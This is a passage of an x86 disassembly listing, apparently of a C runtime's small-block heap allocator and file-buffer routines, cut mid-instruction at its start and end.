esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 call near ptr 27A0000h nop mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi call near ptr 28905E4h nop loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 call near ptr 2790000h nop loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 28905E4h nop cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 nop call near ptr 2790000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28905E4h test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 2890740h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j 